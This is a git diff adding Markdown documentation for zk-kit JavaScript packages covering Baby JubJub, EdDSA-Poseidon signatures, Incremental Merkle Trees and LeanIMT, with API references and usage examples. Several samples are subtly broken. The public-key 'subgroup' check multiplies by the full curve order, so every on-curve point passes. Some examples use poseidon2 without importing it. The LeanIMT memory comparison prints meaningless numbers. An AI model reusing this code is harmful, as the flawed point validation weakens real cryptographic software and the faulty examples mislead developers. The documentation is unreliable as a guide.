+const signer2PrivKey = BigInt(222)
+const signer3PrivKey = BigInt(333)
+
+const pubKey1 = Point.fromPrivateKey(signer1PrivKey)
+const pubKey2 = Point.fromPrivateKey(signer2PrivKey)
+const pubKey3 = Point.fromPrivateKey(signer3PrivKey)
+
+// Aggregate public key
+const aggregatedPubKey = aggregatePublicKeys([pubKey1, pubKey2, pubKey3])
+
+console.log(aggregatedPubKey)
+```
+
+### Elliptic Curve Diffie-Hellman (ECDH)
+
+```typescript
+import { Point } from "@zk-kit/baby-jubjub"
+import { poseidon2 } from "poseidon-lite"
+
+class ECDH {
+  private privateKey: bigint
+  public publicKey: Point
+  
+  constructor(privateKey: bigint) {
+    this.privateKey = privateKey
+    this.publicKey = Point.fromPrivateKey(privateKey)
+  }
+  
+  deriveSharedSecret(otherPublicKey: Point): bigint {
+    // Shared secret = myPrivateKey * theirPublicKey
+    const sharedPoint = otherPublicKey.mulPointEscalar(this.privateKey)
+    
+    // Hash the shared point to get a key
+    return poseidon2([sharedPoint.x, sharedPoint.y])
+  }
+}
+
+// Alice and Bob
+const alice = new ECDH(BigInt(111))
+const bob = new ECDH(BigInt(222))
+
+// Exchange public keys (can be done openly)
+const aliceSharedSecret = alice.deriveSharedSecret(bob.publicKey)
+const bobSharedSecret = bob.deriveSharedSecret(alice.publicKey)
+
+// Both derive the same shared secret
+console.log(aliceSharedSecret === bobSharedSecret) // true
+```
+
+### Point Verification
+
+```typescript
+import { Point } from "@zk-kit/baby-jubjub"
+
+function isValidPublicKey(point: Point): boolean {
+  // Check if point is on curve
+  if (!point.isOnCurve()) return false
+  
+  // Check if point is not zero
+  if (point.equals(Point.Zero)) return false
+  
+  // Check if point is in correct subgroup
+  // (multiply by subgroup order - should equal zero)
+  const order = BigInt("21888242871839275222246405745257275088614511777268538073601725287587578984328")
+  const result = point.mulPointEscalar(order)
+  
+  return result.equals(Point.Zero)
+}
+
+// Usage
+const publicKey = Point.fromPrivateKey(BigInt(123))
+console.log(isValidPublicKey(publicKey)) // true
+```
+
+## Curve Parameters
+
+Baby JubJub is defined by the twisted Edwards equation:
+
+```
+axΒ² + yΒ² = 1 + dxΒ²yΒ²
+```
+
+Where:
+- `a = 168700`
+- `d = 168696`
+- `Prime field: 21888242871839275222246405745257275088548364400416034343698204186575808495617`
+- `Subgroup order: 2736030358979909402780800718157159386076813972158567259200215660948447373041`
+
+## Performance Characteristics
+
+| Operation | Time | Notes |
+|-----------|------|-------|
+| Point Addition | ~0.5ms | Fast group operation |
+| Point Doubling | ~0.3ms | Optimized |
+| Scalar Multiplication | ~50ms | Depends on scalar size |
+| Key Generation | ~50ms | One-time operation |
+| Verification | ~0.1ms | Point validation |
+
+## Security Considerations
+
+### Private Key Security
+
+```typescript
+// βœ… Good: Use cryptographically secure random
+import crypto from "crypto"
+
+const privateKey = BigInt('0x' + crypto.randomBytes(32).toString('hex'))
+const publicKey = Point.fromPrivateKey(privateKey)
+
+// ❌ Bad: Predictable private key
+const weakKey = BigInt(123)
+```
+
+### Point Validation
+
+```typescript
+import { Point } from "@zk-kit/baby-jubjub"
+
+// βœ… Always validate points from untrusted sources
+function processPublicKey(x: bigint, y: bigint): Point | null {
+  try {
+    const point = new Point(x, y)
+    
+    if (!point.isOnCurve()) {
+      return null // Invalid point
+    }
+    
+    return point
+  } catch (error) {
+    return null // Invalid point
+  }
+}
+```
+
+## Dependencies
+
+None - this is a standalone package with no external dependencies.
+
+## TypeScript Support
+
+Full TypeScript support with type definitions included.
+
+```typescript
+import type { Point } from "@zk-kit/baby-jubjub"
+```
+
+## Related Documentation
+
+- [EdDSA-Poseidon](/docs/packages/javascript/eddsa-poseidon) - Uses Baby JubJub for signatures
+- [Poseidon Cipher](/docs/packages/javascript/poseidon-cipher) - For encryption
+- [Utils](/docs/packages/javascript/utils) - Field arithmetic utilities
+
+## Common Use Cases
+
+- βœ… Public key cryptography
+- βœ… EdDSA signatures
+- βœ… Pedersen commitments
+- βœ… Key derivation
+- βœ… Elliptic curve Diffie-Hellman
+- βœ… Multi-signature schemes
+- βœ… Zero-knowledge protocols
+
+## When to Use Baby JubJub
+
+Use Baby JubJub when:
+- Building ZK-friendly cryptography
+- Need efficient curve operations in circuits
+- Implementing EdDSA or ECDH
+- Working with Poseidon hash
+
+Use Curve25519/Ed25519 when:
+- Not using zero-knowledge proofs
+- Need maximum performance outside circuits
+- Need standard library support
+
+## Circuit Compatibility
+
+Baby JubJub is designed to work efficiently in zk-SNARK circuits:
+
+```circom
+template BabyJubJubAdd() {
+    // Efficient point addition in circuit
+}
+```
+
+See [Circom Packages](/docs/packages/circom/overview) for circuit implementations.
+
+## Source
+
+- **GitHub**: [zk-kit/packages/baby-jubjub](https://github.com/privacy-scaling-explorations/zk-kit/tree/main/packages/baby-jubjub)
+- **NPM**: [@zk-kit/baby-jubjub](https://www.npmjs.com/package/@zk-kit/baby-jubjub)
+- **License**: MIT
+
+## References
+
+- [Baby JubJub Specification](https://iden3-docs.readthedocs.io/en/latest/iden3_repos/research/publications/zkproof-standards-workshop-2/baby-jubjub/baby-jubjub.html)
+- [Twisted Edwards Curves](https://en.wikipedia.org/wiki/Twisted_Edwards_curve)
+
+## Community
+
+- πŸ’¬ [GitHub Discussions](https://github.com/privacy-scaling-explorations/zk-kit/discussions)
+- πŸ› [Report Issues](https://github.com/privacy-scaling-explorations/zk-kit/issues)
+- πŸ“š [Examples](https://github.com/privacy-scaling-explorations/zk-kit/tree/main/packages/baby-jubjub/examples)
+
diff --git a/docs/packages/javascript/eddsa-poseidon.md b/docs/packages/javascript/eddsa-poseidon.md
new file mode 100644
index 0000000..50284da
--- /dev/null
+++ b/docs/packages/javascript/eddsa-poseidon.md
@@ -0,0 +1,602 @@
+---
+sidebar_position: 4
+title: "@zk-kit/eddsa-poseidon"
+---
+
+# @zk-kit/eddsa-poseidon
+
+EdDSA signature scheme using Poseidon hash and Baby JubJub elliptic curve. This package provides zero-knowledge friendly digital signatures that can be efficiently verified in ZK circuits.
+
+## Overview
+
+EdDSA-Poseidon combines:
+- **EdDSA**: Edwards-curve Digital Signature Algorithm
+- **Poseidon**: ZK-friendly hash function
+- **Baby JubJub**: Efficient elliptic curve for ZK circuits
+
+This makes it ideal for signing messages that need to be verified inside zero-knowledge proofs.
+
+## Installation
+
+```bash
+npm install @zk-kit/eddsa-poseidon
+```
+
+**Peer Dependencies:**
+
+```bash
+npm install @zk-kit/baby-jubjub poseidon-lite
+```
+
+## Quick Start
+
+### Basic Signing and Verification
+
+```typescript
+import {
+  deriveSecretScalar,
+  derivePublicKey,
+  signMessage,
+  verifySignature
+} from "@zk-kit/eddsa-poseidon"
+
+// 1. Derive private key from secret
+const privateKey = deriveSecretScalar("my-secret-password")
+
+// 2. Derive public key
+const publicKey = derivePublicKey(privateKey)
+
+// 3. Sign a message
+const message = BigInt(123456)
+const signature = signMessage(privateKey, message)
+
+// 4. Verify signature
+const isValid = verifySignature(message, signature, publicKey)
+console.log(isValid) // true
+```
+
+### Signing Multiple Messages
+
+```typescript
+import { deriveSecretScalar, derivePublicKey, signMessage } from "@zk-kit/eddsa-poseidon"
+
+const privateKey = deriveSecretScalar("secret")
+const publicKey = derivePublicKey(privateKey)
+
+// Sign multiple messages
+const messages = [BigInt(1), BigInt(2), BigInt(3)]
+const signatures = messages.map(msg => signMessage(privateKey, msg))
+
+// Signatures can be verified independently
+signatures.forEach((sig, i) => {
+  const isValid = verifySignature(messages[i], sig, publicKey)
+  console.log(`Message ${i}: ${isValid}`)
+})
+```
+
+## API Reference
+
+### Key Derivation
+
+#### `deriveSecretScalar`
+
+```typescript
+deriveSecretScalar(secret: string | Uint8Array): bigint
+```
+
+Derives a private key (scalar) from a secret.
+
+**Parameters:**
+
+- `secret`: A string or byte array to derive from
+
+**Returns:**
+
+- `bigint`: The private key scalar
+
+**Example:**
+
+```typescript
+import { deriveSecretScalar } from "@zk-kit/eddsa-poseidon"
+
+const privateKey = deriveSecretScalar("my-password-123")
+console.log(typeof privateKey) // "bigint"
+```
+
+#### `derivePublicKey`
+
+```typescript
+derivePublicKey(privateKey: bigint): Point
+```
+
+Derives a public key from a private key.
+
+**Parameters:**
+
+- `privateKey`: The private key scalar
+
+**Returns:**
+
+- `Point`: Public key as a point on Baby JubJub curve
+
+**Example:**
+
+```typescript
+import { deriveSecretScalar, derivePublicKey } from "@zk-kit/eddsa-poseidon"
+
+const privateKey = deriveSecretScalar("secret")
+const publicKey = derivePublicKey(privateKey)
+
+console.log(publicKey) // { x: bigint, y: bigint }
+```
+
+### Signing
+
+#### `signMessage`
+
+```typescript
+signMessage(
+  privateKey: bigint,
+  message: bigint
+): Signature
+```
+
+Signs a message with a private key.
+
+**Parameters:**
+
+- `privateKey`: The private key scalar
+- `message`: The message to sign (as `bigint`)
+
+**Returns:**
+
+- `Signature`: Object containing signature data
+
+**Example:**
+
+```typescript
+import { deriveSecretScalar, signMessage } from "@zk-kit/eddsa-poseidon"
+
+const privateKey = deriveSecretScalar("secret")
+const message = BigInt(123456)
+const signature = signMessage(privateKey, message)
+
+console.log(signature)
+// { R8: Point, S: bigint }
+```
+
+### Verification
+
+#### `verifySignature`
+
+```typescript
+verifySignature(
+  message: bigint,
+  signature: Signature,
+  publicKey: Point
+): boolean
+```
+
+Verifies a signature against a message and public key.
+
+**Parameters:**
+
+- `message`: The signed message
+- `signature`: The signature to verify
+- `publicKey`: The public key to verify against
+
+**Returns:**
+
+- `boolean`: `true` if signature is valid
+
+**Example:**
+
+```typescript
+import {
+  deriveSecretScalar,
+  derivePublicKey,
+  signMessage,
+  verifySignature
+} from "@zk-kit/eddsa-poseidon"
+
+const privateKey = deriveSecretScalar("secret")
+const publicKey = derivePublicKey(privateKey)
+const message = BigInt(123)
+const signature = signMessage(privateKey, message)
+
+const isValid = verifySignature(message, signature, publicKey)
+console.log(isValid) // true
+
+// Invalid message
+const isInvalid = verifySignature(BigInt(456), signature, publicKey)
+console.log(isInvalid) // false
+```
+
+### Utility Functions
+
+#### `packSignature`
+
+```typescript
+packSignature(signature: Signature): Buffer
+```
+
+Packs a signature into a compact binary format.
+
+**Parameters:**
+
+- `signature`: The signature to pack
+
+**Returns:**
+
+- `Buffer`: Packed signature (64 bytes)
+
+**Example:**
+
+```typescript
+import { signMessage, packSignature } from "@zk-kit/eddsa-poseidon"
+
+const signature = signMessage(privateKey, message)
+const packed = packSignature(signature)
+
+console.log(packed.length) // 64 bytes
+```
+
+#### `unpackSignature`
+
+```typescript
+unpackSignature(packed: Buffer): Signature
+```
+
+Unpacks a signature from binary format.
+
+**Parameters:**
+
+- `packed`: Packed signature buffer
+
+**Returns:**
+
+- `Signature`: Unpacked signature object
+
+**Example:**
+
+```typescript
+import { packSignature, unpackSignature } from "@zk-kit/eddsa-poseidon"
+
+const packed = packSignature(signature)
+const unpacked = unpackSignature(packed)
+
+console.log(unpacked) // { R8: Point, S: bigint }
+```
+
+## Advanced Usage
+
+### Identity System
+
+```typescript
+import {
+  deriveSecretScalar,
+  derivePublicKey,
+  signMessage,
+  verifySignature
+} from "@zk-kit/eddsa-poseidon"
+import { poseidon1 } from "poseidon-lite"
+
+class Identity {
+  private privateKey: bigint
+  public publicKey: Point
+  public commitment: bigint
+  
+  constructor(secret: string) {
+    this.privateKey = deriveSecretScalar(secret)
+    this.publicKey = derivePublicKey(this.privateKey)
+    
+    // Create identity commitment
+    this.commitment = poseidon1([
+      this.publicKey.x,
+      this.publicKey.y
+    ])
+  }
+  
+  sign(message: bigint) {
+    return signMessage(this.privateKey, message)
+  }
+  
+  static verify(message: bigint, signature: Signature, publicKey: Point): boolean {
+    return verifySignature(message, signature, publicKey)
+  }
+}
+
+// Usage
+const alice = new Identity("alice-secret")
+const message = BigInt(12345)
+const signature = alice.sign(message)
+
+const isValid = Identity.verify(message, signature, alice.publicKey)
+console.log(isValid) // true
+```
+
+### Credential System
+
+```typescript
+import {
+  deriveSecretScalar,
+  derivePublicKey,
+  signMessage,
+  verifySignature
+} from "@zk-kit/eddsa-poseidon"
+
+interface Credential {
+  userId: bigint
+  attribute: bigint
+  signature: Signature
+}
+
+class CredentialIssuer {
+  private privateKey: bigint
+  public publicKey: Point
+  
+  constructor(secret: string) {
+    this.privateKey = deriveSecretScalar(secret)
+    this.publicKey = derivePublicKey(this.privateKey)
+  }
+  
+  issueCredential(userId: bigint, attribute: bigint): Credential {
+    // Create credential hash
+    const credentialHash = poseidon2([userId, attribute])
+    
+    // Sign credential
+    const signature = signMessage(this.privateKey, credentialHash)
+    
+    return { userId, attribute, signature }
+  }
+}
+
+class CredentialVerifier {
+  constructor(private issuerPublicKey: Point) {}
+  
+  verifyCredential(credential: Credential): boolean {
+    const credentialHash = poseidon2([
+      credential.userId,
+      credential.attribute
+    ])
+    
+    return verifySignature(
+      credentialHash,
+      credential.signature,
+      this.issuerPublicKey
+    )
+  }
+}
+
+// Usage
+const issuer = new CredentialIssuer("issuer-secret")
+const verifier = new CredentialVerifier(issuer.publicKey)
+
+const credential = issuer.issueCredential(
+  BigInt(123), // userId
+  BigInt(18)   // age
+)
+
+const isValid = verifier.verifyCredential(credential)
+console.log(isValid) // true
+```
+
+### Message Authentication
+
+```typescript
+import {
+  deriveSecretScalar,
+  derivePublicKey,
+  signMessage,
+  verifySignature
+} from "@zk-kit/eddsa-poseidon"
+import { poseidon } from "poseidon-lite"
+
+function signData(privateKey: bigint, data: bigint[]): Signature {
+  // Hash data
+  const dataHash = poseidon(data)
+  
+  // Sign hash
+  return signMessage(privateKey, dataHash)
+}
+
+function verifyData(
+  publicKey: Point,
+  data: bigint[],
+  signature: Signature
+): boolean {
+  // Hash data
+  const dataHash = poseidon(data)
+  
+  // Verify signature
+  return verifySignature(dataHash, signature, publicKey)
+}
+
+// Usage
+const privateKey = deriveSecretScalar("secret")
+const publicKey = derivePublicKey(privateKey)
+
+const data = [BigInt(1), BigInt(2), BigInt(3)]
+const signature = signData(privateKey, data)
+
+const isValid = verifyData(publicKey, data, signature)
+console.log(isValid) // true
+```
+
+### Timestamped Signatures
+
+```typescript
+import {
+  deriveSecretScalar,
+  derivePublicKey,
+  signMessage
+} from "@zk-kit/eddsa-poseidon"
+import { poseidon2 } from "poseidon-lite"
+
+interface TimestampedSignature {
+  message: bigint
+  timestamp: bigint
+  signature: Signature
+}
+
+function signWithTimestamp(
+  privateKey: bigint,
+  message: bigint
+): TimestampedSignature {
+  const timestamp = BigInt(Date.now())
+  
+  // Combine message and timestamp
+  const combined = poseidon2([message, timestamp])
+  
+  // Sign combined value
+  const signature = signMessage(privateKey, combined)
+  
+  return { message, timestamp, signature }
+}
+
+function verifyTimestampedSignature(
+  publicKey: Point,
+  signed: TimestampedSignature,
+  maxAge: number // milliseconds
+): boolean {
+  // Check timestamp freshness
+  const age = Date.now() - Number(signed.timestamp)
+  if (age > maxAge) return false
+  
+  // Verify signature
+  const combined = poseidon2([signed.message, signed.timestamp])
+  return verifySignature(combined, signed.signature, publicKey)
+}
+```
+
+## Types
+
+### Signature
+
+```typescript
+interface Signature {
+  R8: Point  // R point on curve
+  S: bigint  // Scalar value
+}
+```
+
+### Point
+
+```typescript
+interface Point {
+  x: bigint
+  y: bigint
+}
+```
+
+## Security Considerations
+
+### Private Key Management
+
+```typescript
+// βœ… Good: Derive from secure random source
+import crypto from "crypto"
+
+const randomBytes = crypto.randomBytes(32)
+const privateKey = deriveSecretScalar(randomBytes)
+
+// ❌ Bad: Predictable secrets
+const weakKey = deriveSecretScalar("password123")
+```
+
+### Message Hashing
+
+```typescript
+import { signMessage } from "@zk-kit/eddsa-poseidon"
+import { poseidon } from "poseidon-lite"
+
+// βœ… Good: Hash complex data before signing
+const data = [BigInt(1), BigInt(2), BigInt(3)]
+const hash = poseidon(data)
+const signature = signMessage(privateKey, hash)
+
+// ⚠️ Caution: Direct signing of small values
+const signature2 = signMessage(privateKey, BigInt(1))
+```
+
+## Performance Characteristics
+
+| Operation | Time | Notes |
+|-----------|------|-------|
+| Derive Private Key | ~5ms | One-time operation |
+| Derive Public Key | ~2ms | One-time operation |
+| Sign Message | ~3-5ms | Per signature |
+| Verify Signature | ~5-8ms | Per verification |
+| Pack/Unpack | <1ms | Binary operations |
+
+## Dependencies
+
+- `@zk-kit/baby-jubjub`: Elliptic curve operations
+- `poseidon-lite`: Hash function
+- `buffer`: For signature packing (Node.js built-in)
+
+## TypeScript Support
+
+Full TypeScript support with type definitions included.
+
+```typescript
+import type {
+  Signature,
+  Point,
+  SignatureOptions
+} from "@zk-kit/eddsa-poseidon"
+```
+
+## Related Documentation
+
+- [Baby JubJub Package](/docs/packages/javascript/baby-jubjub) - Underlying curve
+- [Poseidon Cipher](/docs/packages/javascript/poseidon-cipher) - Encryption
+- [Development Setup](/docs/getting-started/development-setup) - Setup guide
+
+## Common Use Cases
+
+- βœ… Digital signatures in ZK circuits
+- βœ… Identity systems
+- βœ… Credential issuance
+- βœ… Message authentication
+- βœ… Access control
+- βœ… Non-repudiation proofs
+
+## When to Use EdDSA-Poseidon
+
+Use EdDSA-Poseidon when:
+- Need signatures verifiable in ZK circuits
+- Building identity/credential systems
+- Need ZK-friendly cryptography
+- Signatures will be proven in SNARKs
+
+Use traditional ECDSA when:
+- Not using zero-knowledge proofs
+- Need compatibility with standard systems
+- Don't need circuit efficiency
+
+## Circuit Compatibility
+
+This package is designed to work with corresponding Circom circuits:
+
+```circom
+template EdDSAPoseidonVerifier() {
+    // Verifies EdDSA-Poseidon signatures
+    // Compatible with this package
+}
+```
+
+See [Circom Packages](/docs/packages/circom/overview) for circuit implementations.
+
+## Source
+
+- **GitHub**: [zk-kit/packages/eddsa-poseidon](https://github.com/privacy-scaling-explorations/zk-kit/tree/main/packages/eddsa-poseidon)
+- **NPM**: [@zk-kit/eddsa-poseidon](https://www.npmjs.com/package/@zk-kit/eddsa-poseidon)
+- **License**: MIT
+
+## Community
+
+- πŸ’¬ [GitHub Discussions](https://github.com/privacy-scaling-explorations/zk-kit/discussions)
+- πŸ› [Report Issues](https://github.com/privacy-scaling-explorations/zk-kit/issues)
+- πŸ“š [Examples](https://github.com/privacy-scaling-explorations/zk-kit/tree/main/packages/eddsa-poseidon/examples)
+
diff --git a/docs/packages/javascript/imt.md b/docs/packages/javascript/imt.md
new file mode 100644
index 0000000..a62db2e
--- /dev/null
+++ b/docs/packages/javascript/imt.md
@@ -0,0 +1,463 @@
+---
+sidebar_position: 1
+title: "@zk-kit/imt"
+---
+
+# @zk-kit/imt
+
+Incremental Merkle Tree (IMT) implementation in JavaScript/TypeScript. This package provides a memory-efficient, production-ready implementation of Incremental Merkle Trees for zero-knowledge applications.
+
+## Overview
+
+The Incremental Merkle Tree is optimized for applications that need to prove membership in a set without revealing which member. It's the standard choice for most zero-knowledge applications requiring membership proofs.
+
+## Installation
+
+```bash
+npm install @zk-kit/imt
+```
+
+**Peer Dependencies:**
+
+You'll need a hash function. Install one of:
+
+```bash
+# Poseidon (recommended for ZK circuits)
+npm install poseidon-lite
+
+# Or Keccak256
+npm install @zk-kit/utils
+```
+
+## Quick Start
+
+### Basic Usage
+
+```typescript
+import { IMT } from "@zk-kit/imt"
+import { poseidon2 } from "poseidon-lite"
+
+// Create a tree with depth 16
+const tree = new IMT(poseidon2, 16, 0, 2)
+
+// Insert leaves
+tree.insert(BigInt(1))
+tree.insert(BigInt(2))
+tree.insert(BigInt(3))
+
+// Get root
+console.log(tree.root)
+
+// Generate proof
+const proof = tree.createProof(1) // Index of leaf
+
+// Verify proof
+const isValid = tree.verifyProof(proof)
+console.log(isValid) // true
+```
+
+### With Custom Hash Function
+
+```typescript
+import { IMT } from "@zk-kit/imt"
+
+function customHash(nodes: bigint[]): bigint {
+  // Your custom hash implementation
+  return nodes[0] + nodes[1]
+}
+
+const tree = new IMT(customHash, 16, 0, 2)
+```
+
+## API Reference
+
+### Constructor
+
+```typescript
+new IMT(
+  hash: HashFunction,
+  depth: number,
+  zeroValue: Node,
+  arity: number
+): IMT
+```
+
+**Parameters:**
+
+- `hash`: Hash function that takes an array of nodes and returns a single node
+- `depth`: Maximum depth of the tree (tree can hold `arity^depth` leaves)
+- `zeroValue`: Value used for empty leaves (typically `0`)
+- `arity`: Number of children per node (typically `2` for binary trees)
+
+**Example:**
+
+```typescript
+import { IMT } from "@zk-kit/imt"
+import { poseidon2 } from "poseidon-lite"
+
+const tree = new IMT(poseidon2, 20, 0, 2)
+// Can hold up to 2^20 = 1,048,576 leaves
+```
+
+### Properties
+
+#### `root`
+
+```typescript
+tree.root: Node
+```
+
+Returns the current root of the tree.
+
+**Example:**
+
+```typescript
+const root = tree.root
+console.log(root) // bigint
+```
+
+#### `depth`
+
+```typescript
+tree.depth: number
+```
+
+Returns the depth of the tree.
+
+#### `leaves`
+
+```typescript
+tree.leaves: Node[]
+```
+
+Returns all leaves in the tree.
+
+**Example:**
+
+```typescript
+const leaves = tree.leaves
+console.log(leaves.length) // Number of inserted leaves
+```
+
+#### `arity`
+
+```typescript
+tree.arity: number
+```
+
+Returns the arity (branching factor) of the tree.
+
+#### `zeroes`
+
+```typescript
+tree.zeroes: Node[]
+```
+
+Returns the zero values for each level of the tree.
+
+### Methods
+
+#### `insert`
+
+```typescript
+tree.insert(leaf: Node): void
+```
+
+Inserts a new leaf into the tree.
+
+**Parameters:**
+
+- `leaf`: The value to insert (typically a `bigint`)
+
+**Example:**
+
+```typescript
+tree.insert(BigInt(123))
+tree.insert(BigInt(456))
+```
+
+#### `update`
+
+```typescript
+tree.update(index: number, newLeaf: Node): void
+```
+
+Updates a leaf at the specified index.
+
+**Parameters:**
+
+- `index`: Index of the leaf to update
+- `newLeaf`: New value for the leaf
+
+**Example:**
+
+```typescript
+tree.update(0, BigInt(999))
+```
+
+#### `delete`
+
+```typescript
+tree.delete(index: number): void
+```
+
+Deletes a leaf by setting it to the zero value.
+
+**Parameters:**
+
+- `index`: Index of the leaf to delete
+
+**Example:**
+
+```typescript
+tree.delete(0)
+```
+
+#### `createProof`
+
+```typescript
+tree.createProof(index: number): MerkleProof
+```
+
+Generates a Merkle proof for a leaf at the given index.
+
+**Parameters:**
+
+- `index`: Index of the leaf to prove
+
+**Returns:**
+
+- `MerkleProof`: Object containing proof data
+
+**Example:**
+
+```typescript
+const proof = tree.createProof(2)
+console.log(proof)
+// {
+//   root: bigint,
+//   leaf: bigint,
+//   siblings: bigint[],
+//   pathIndices: number[]
+// }
+```
+
+#### `verifyProof`
+
+```typescript
+tree.verifyProof(proof: MerkleProof): boolean
+```
+
+Verifies a Merkle proof against the current tree root.
+
+**Parameters:**
+
+- `proof`: The proof object from `createProof`
+
+**Returns:**
+
+- `boolean`: `true` if proof is valid
+
+**Example:**
+
+```typescript
+const proof = tree.createProof(2)
+const isValid = tree.verifyProof(proof)
+console.log(isValid) // true
+```
+
+#### Static: `verifyProof`
+
+```typescript
+IMT.verifyProof(
+  proof: MerkleProof,
+  hash: HashFunction
+): boolean
+```
+
+Verifies a proof without a tree instance.
+
+**Parameters:**
+
+- `proof`: The proof object
+- `hash`: Hash function used by the tree
+
+**Returns:**
+
+- `boolean`: `true` if proof is valid
+
+**Example:**
+
+```typescript
+import { IMT } from "@zk-kit/imt"
+import { poseidon2 } from "poseidon-lite"
+
+const isValid = IMT.verifyProof(proof, poseidon2)
+```
+
+#### `indexOf`
+
+```typescript
+tree.indexOf(leaf: Node): number
+```
+
+Returns the index of a leaf, or -1 if not found.
+
+**Parameters:**
+
+- `leaf`: The leaf value to search for
+
+**Returns:**
+
+- `number`: Index of the leaf or -1
+
+**Example:**
+
+```typescript
+tree.insert(BigInt(123))
+const index = tree.indexOf(BigInt(123))
+console.log(index) // 0
+```
+
+## Advanced Usage
+
+### Anonymous Voting System
+
+```typescript
+import { IMT } from "@zk-kit/imt"
+import { poseidon1 } from "poseidon-lite"
+
+// Create a tree for voter commitments
+const voters = new IMT(poseidon2, 20, 0, 2)
+
+// Register voters (in practice, these would be commitments)
+const voterCommitment = poseidon1([privateKey])
+voters.insert(voterCommitment)
+
+// Generate proof for voting
+const proof = voters.createProof(voters.indexOf(voterCommitment))
+
+// Voter can now prove membership without revealing identity
+```
+
+### Whitelist Verification
+
+```typescript
+import { IMT } from "@zk-kit/imt"
+import { poseidon2 } from "poseidon-lite"
+
+// Create whitelist tree
+const whitelist = new IMT(poseidon2, 16, 0, 2)
+
+// Add addresses to whitelist
+const addresses = [
+  BigInt("0x1234..."),
+  BigInt("0x5678..."),
+  BigInt("0x9abc...")
+]
+
+addresses.forEach(addr => whitelist.insert(addr))
+
+// Publish only the root on-chain
+const rootHash = whitelist.root
+
+// Users prove they're whitelisted off-chain
+function proveWhitelist(address: bigint) {
+  const index = whitelist.indexOf(address)
+  return whitelist.createProof(index)
+}
+```
+
+### Batch Operations
+
+```typescript
+import { IMT } from "@zk-kit/imt"
+import { poseidon2 } from "poseidon-lite"
+
+const tree = new IMT(poseidon2, 16, 0, 2)
+
+// Batch insert
+const values = Array.from({ length: 1000 }, (_, i) => BigInt(i))
+values.forEach(v => tree.insert(v))
+
+// Generate multiple proofs
+const proofs = values.map((_, i) => tree.createProof(i))
+
+// Verify all proofs
+const allValid = proofs.every(proof => tree.verifyProof(proof))
+console.log(allValid) // true
+```
+
+## Performance Characteristics
+
+| Operation | Time Complexity | Notes |
+|-----------|----------------|-------|
+| Insert | O(log n) | Where n is depth |
+| Update | O(log n) | |
+| Delete | O(log n) | Sets to zero value |
+| Create Proof | O(log n) | |
+| Verify Proof | O(log n) | |
+| Get Root | O(1) | Cached |
+
+## Memory Usage
+
+- **Storage**: O(n) where n is number of leaves
+- **Proof Size**: O(log n) where n is depth
+- **Tree Depth 20**: Can store ~1M leaves, ~80KB per tree
+
+## Dependencies
+
+- Hash function (not included):
+  - `poseidon-lite` (recommended)
+  - Or any function matching `(nodes: Node[]) => Node`
+
+## TypeScript Support
+
+This package is written in TypeScript and includes full type definitions.
+
+```typescript
+import type { IMT, MerkleProof, Node, HashFunction } from "@zk-kit/imt"
+```
+
+## Related Documentation
+
+- [Choosing a Package](/docs/packages/choosing-a-package) - When to use IMT vs LeanIMT vs SMT
+- [Merkle Trees Core Concepts](/docs/core-concepts/merkle-trees) - Theory behind Merkle trees
+- [Your First Proof](/docs/getting-started/first-proof) - Step-by-step tutorial
+- [LeanIMT Package](/docs/packages/javascript/lean-imt) - Memory-efficient alternative
+
+## Common Use Cases
+
+- βœ… Anonymous voting systems
+- βœ… Private airdrops
+- βœ… Whitelist verification
+- βœ… Anonymous credentials
+- βœ… Access control lists
+- βœ… Membership proofs
+
+## When to Use IMT
+
+Use IMT when:
+- Building standard membership proofs
+- Memory is not constrained
+- Need fast operations
+- Tree size is predictable
+
+Consider [LeanIMT](/docs/packages/javascript/lean-imt) if memory is limited.
+
+Consider [SMT](/docs/packages/javascript/smt) if you need key-value storage or non-membership proofs.
+
+## Source
+
+- **GitHub**: [zk-kit/packages/imt](https://github.com/privacy-scaling-explorations/zk-kit/tree/main/packages/imt)
+- **NPM**: [@zk-kit/imt](https://www.npmjs.com/package/@zk-kit/imt)
+- **License**: MIT
+
+## Community
+
+- πŸ’¬ [GitHub Discussions](https://github.com/privacy-scaling-explorations/zk-kit/discussions)
+- πŸ› [Report Issues](https://github.com/privacy-scaling-explorations/zk-kit/issues)
+- πŸ“š [Examples](https://github.com/privacy-scaling-explorations/zk-kit/tree/main/packages/imt/examples)
+
+
+
diff --git a/docs/packages/javascript/lean-imt.md b/docs/packages/javascript/lean-imt.md
new file mode 100644
index 0000000..548973f
--- /dev/null
+++ b/docs/packages/javascript/lean-imt.md
@@ -0,0 +1,536 @@
+---
+sidebar_position: 2
+title: "@zk-kit/lean-imt"
+---
+
+# @zk-kit/lean-imt
+
+Memory-optimized Incremental Merkle Tree implementation. LeanIMT uses significantly less memory than the standard IMT while maintaining similar functionality, making it ideal for resource-constrained environments.
+
+## Overview
+
+LeanIMT stores only the minimum necessary nodes (non-zero leaves and their path to the root) rather than the entire tree structure, reducing memory usage by up to 90% compared to IMT.
+
+## Installation
+
+```bash
+npm install @zk-kit/lean-imt
+```
+
+**Peer Dependencies:**
+
+```bash
+# Poseidon (recommended for ZK circuits)
+npm install poseidon-lite
+```
+
+## Quick Start
+
+### Basic Usage
+
+```typescript
+import { LeanIMT } from "@zk-kit/lean-imt"
+import { poseidon2 } from "poseidon-lite"
+
+// Create a tree
+const tree = new LeanIMT((a, b) => poseidon2([a, b]))
+
+// Insert leaves
+tree.insert(BigInt(1))
+tree.insert(BigInt(2))
+tree.insert(BigInt(3))
+
+// Get root
+console.log(tree.root)
+
+// Generate proof
+const proof = tree.generateProof(1) // Index of leaf
+
+// Verify proof
+const isValid = tree.verifyProof(proof)
+console.log(isValid) // true
+```
+
+### Key Differences from IMT
+
+```typescript
+import { LeanIMT } from "@zk-kit/lean-imt"
+import { IMT } from "@zk-kit/imt"
+import { poseidon2 } from "poseidon-lite"
+
+// IMT: Requires depth upfront, stores full tree
+const imt = new IMT(poseidon2, 16, 0, 2)
+
+// LeanIMT: Dynamic depth, stores only non-zero nodes
+const leanIMT = new LeanIMT((a, b) => poseidon2([a, b]))
+
+// LeanIMT automatically grows as needed
+for (let i = 0; i < 1000; i++) {
+  leanIMT.insert(BigInt(i))
+}
+
+console.log(`IMT memory: ~${imt.leaves.length * 32}KB`)
+console.log(`LeanIMT memory: ~${leanIMT.size * 32}KB`)
+// LeanIMT uses significantly less memory
+```
+
+## API Reference
+
+### Constructor
+
+```typescript
+new LeanIMT(
+  hash: (a: Node, b: Node) => Node,
+  options?: LeanIMTOptions
+): LeanIMT
+```
+
+**Parameters:**
+
+- `hash`: Binary hash function that takes two nodes
+- `options`: Optional configuration
+  - `zeroValue`: Value for empty nodes (default: `0`)
+
